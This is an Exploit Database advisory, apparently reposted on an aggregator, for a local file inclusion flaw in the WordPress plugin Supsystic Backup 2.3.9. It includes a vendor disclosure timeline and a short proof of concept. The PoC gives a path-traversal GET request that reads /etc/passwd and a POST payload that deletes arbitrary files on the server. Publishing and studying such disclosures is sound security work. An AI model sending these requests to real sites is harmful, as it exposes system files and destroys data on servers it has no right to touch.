WordPress Plugin Supsystic Backup 2.3.9 – Local File Inclusion

• Exploit Database
• 18 阅读

• 作者： Erik David Martin
  日期： 2021-02-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49545/

• # Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion
  # Date: 24/07/2020
  # Exploit Author: Erik David Martin
  # Vendor Homepage: https://supsystic.com/
  # Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip
  # Version: 2.3.9
  # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2
  
  
  # 25/07 2020: Vendor notified
  # 27/07 2020: Vendor requested detailed information
  # 27/07 2020: Information provided
  # 07/08 2020: Nudged vendor. No reply
  # 22/08 2020: Nudged vendor. No reply
  # 04/10 2020: Nudged vendor. No reply.
  # 29/11 2020: WordPress Plugin Security team contacted
  # 01/12 2020: Plugin/Project closed by WordPress Security team
  
  
  # 1. Description
  
  Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).
  
  
  # 2. Proof of Concept (PoC)
  
  Create a backup. When downloading the backup, change its path:
  
  GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd
  
  
  The "Delete" tab also allows an attacker to delete files on the server:
  
  POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog
  Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup